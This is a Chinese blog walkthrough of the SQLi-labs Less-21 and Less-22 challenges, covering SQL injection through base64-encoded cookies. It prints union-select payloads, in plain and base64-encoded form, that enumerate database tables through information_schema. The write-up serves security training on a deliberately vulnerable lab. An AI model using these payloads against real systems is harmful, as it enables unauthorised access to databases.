热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Less2122(基于base64的cookie注入)

文章目录1.题目分析2.通关思路3.Less-221.题目分析目前已经完成了BasicChallenges,相信小伙伴们对于SQL注入也有了一定程度的理解。但是,还

文章目录

  • 1. 题目分析
  • 2. 通关思路
  • 3. Less-22


1. 题目分析

目前已经完成了Basic Challenges,相信小伙伴们对于SQL注入也有了一定程度的理解。但是,还是脱离不了小白的称号,那么今天我们就向Advanced Injections进军。

首先还是先登录进去看一下情况,
在这里插入图片描述
这一关卡和Less20的手法其实是一摸一样的,只不过多了一道加密解密的步骤。通过观察这个COOKIE可以判断出来是一个加密过后的密文,而题目也给出了是base64加密,那么我们就把这个复制下来解密一下看看。
在这里插入图片描述
可以看到YWRtaW4=其实就是admin通过base64加密得到的。那么此时,这道题就变成了Less20

2. 通关思路

在这里我们要知道,此时我们的浏览器发送给服务器的COOKIE是一段密文,当服务器端的处理程序拿到我们发送的COOKIE的时候,要先经过解密,然后才会带入到SQL语句中执行。因此我们需要将自己构造的SQL注入语句通过base64加密发送。

首先,来判断一下uname的类型。
在这里插入图片描述
根据'admin'') LIMIT 0,1可以判断出uname是用('')包裹的。然后我们通过构造SQL闭合,使用联合注入查询,进行查询。这里就列举一个查数据表的语句演示一下:
') union select 1, database(), (select group_concat(table_name) from information_schema.tables where table_schema="security") #

将以上语句经过base64编码后:
JykgdW5pb24gc2VsZWN0IDEsIGRhdGFiYXNlKCksIChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9InNlY3VyaXR5IikgIw==
把我们的COOKIE进行更改,
在这里插入图片描述
然后,刷新页面,即可得到上图的结果。成功的得到了当前使用的数据库的名字为security,和security下有哪些数据表。

3. Less-22

Less-22和Less21手法是完全一样的,只不过21的uname使用('')闭合,我们需要构造') union select xxxx #来进行注入。

而Less22的uname使用双引号""闭合,我们需要使用" union select xxx #注入。

下面给出一个例子:
明文:" union select 1, database(), (select group_concat(table_name) from information_schema.tables where table_schema="security") #

密文:IiB1bmlvbiBzZWxlY3QgMSwgZGF0YWJhc2UoKSwgKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0ic2VjdXJpdHkiKSAj

结果:
在这里插入图片描述


推荐阅读
  • Java工作流引擎关于数据加密流程(MD5数据加密防篡改)
    关键字:驰骋工作流程快速开发平台工作流程管理系统工作流引擎asp.net工作流引擎java工作流引擎.开发者表单拖拽式表单工作流系统流程数据加密md5数据保密流程数据防篡改软加密适 ... [详细]
  • oracle text db2,从Oracle 到DB2(一)
    在实际的软件项目的开发过程中,特别是在企业的应用系统集成(EAI)项目中广大开发人员经常遇到不同关系型数据库之间的数据移植问题。笔者根据自己在工作中的不同数据库数据移 ... [详细]
  • JS加密解密
    leta=汪政..222RRRp767868^*%^*%344h哈哈;letb=udp.d(ud(a));//需要加密的内容letc=udp. ... [详细]
  • 第一部分:TSqlTop有两种用法1,限制查询结果集返回的行数或总行数的百分比。当将TOP与ORDERBY子句结合使用时,结果集限制为前N个已排序行;否则,以未定义的顺序返回前N个 ... [详细]
  • linux json 写sql注入,sql注入之json注入(php代码)
    环境phpstudyphp服务端代码security数据库中的users表中的username,password字段用户名adminJSON服务端代码大家实际测试中注 ... [详细]
  • DBA的日常运维–Part11.活动状态检查 ... [详细]
  • 也就是|单打_.net Core 自我学习随笔——工作的核心:增删改查
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了.netCore自我学习随笔——工作的核心:增删改查相关的知识,希望对你有一定的参考价值。上次介绍了一下如何进行连接 ... [详细]
  • MySQL的SQL语句写法,除了那些基本的之外,还有一些也算比较常用的,这里记录下来,以便以后查找。好记性不如烂笔头& ... [详细]
  • 本文详细介绍了SQL日志收缩的方法,包括截断日志和删除不需要的旧日志记录。通过备份日志和使用DBCC SHRINKFILE命令可以实现日志的收缩。同时,还介绍了截断日志的原理和注意事项,包括不能截断事务日志的活动部分和MinLSN的确定方法。通过本文的方法,可以有效减小逻辑日志的大小,提高数据库的性能。 ... [详细]
  • Webpack5内置处理图片资源的配置方法
    本文介绍了在Webpack5中处理图片资源的配置方法。在Webpack4中,我们需要使用file-loader和url-loader来处理图片资源,但是在Webpack5中,这两个Loader的功能已经被内置到Webpack中,我们只需要简单配置即可实现图片资源的处理。本文还介绍了一些常用的配置方法,如匹配不同类型的图片文件、设置输出路径等。通过本文的学习,读者可以快速掌握Webpack5处理图片资源的方法。 ... [详细]
  • 本文介绍了C#中生成随机数的三种方法,并分析了其中存在的问题。首先介绍了使用Random类生成随机数的默认方法,但在高并发情况下可能会出现重复的情况。接着通过循环生成了一系列随机数,进一步突显了这个问题。文章指出,随机数生成在任何编程语言中都是必备的功能,但Random类生成的随机数并不可靠。最后,提出了需要寻找其他可靠的随机数生成方法的建议。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • 本文详细介绍了MySQL表分区的创建、增加和删除方法,包括查看分区数据量和全库数据量的方法。欢迎大家阅读并给予点评。 ... [详细]
  • 计算机网络四
    大三上结束之际,从网上找来一些关于计算机网络的知识作为总结,本文四篇笔记全部转自猪头任(博客地址:http:www.cnbl ... [详细]
  • 图解redis的持久化存储机制RDB和AOF的原理和优缺点
    本文通过图解的方式介绍了redis的持久化存储机制RDB和AOF的原理和优缺点。RDB是将redis内存中的数据保存为快照文件,恢复速度较快但不支持拉链式快照。AOF是将操作日志保存到磁盘,实时存储数据但恢复速度较慢。文章详细分析了两种机制的优缺点,帮助读者更好地理解redis的持久化存储策略。 ... [详细]
author-avatar
淇蒴_192
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有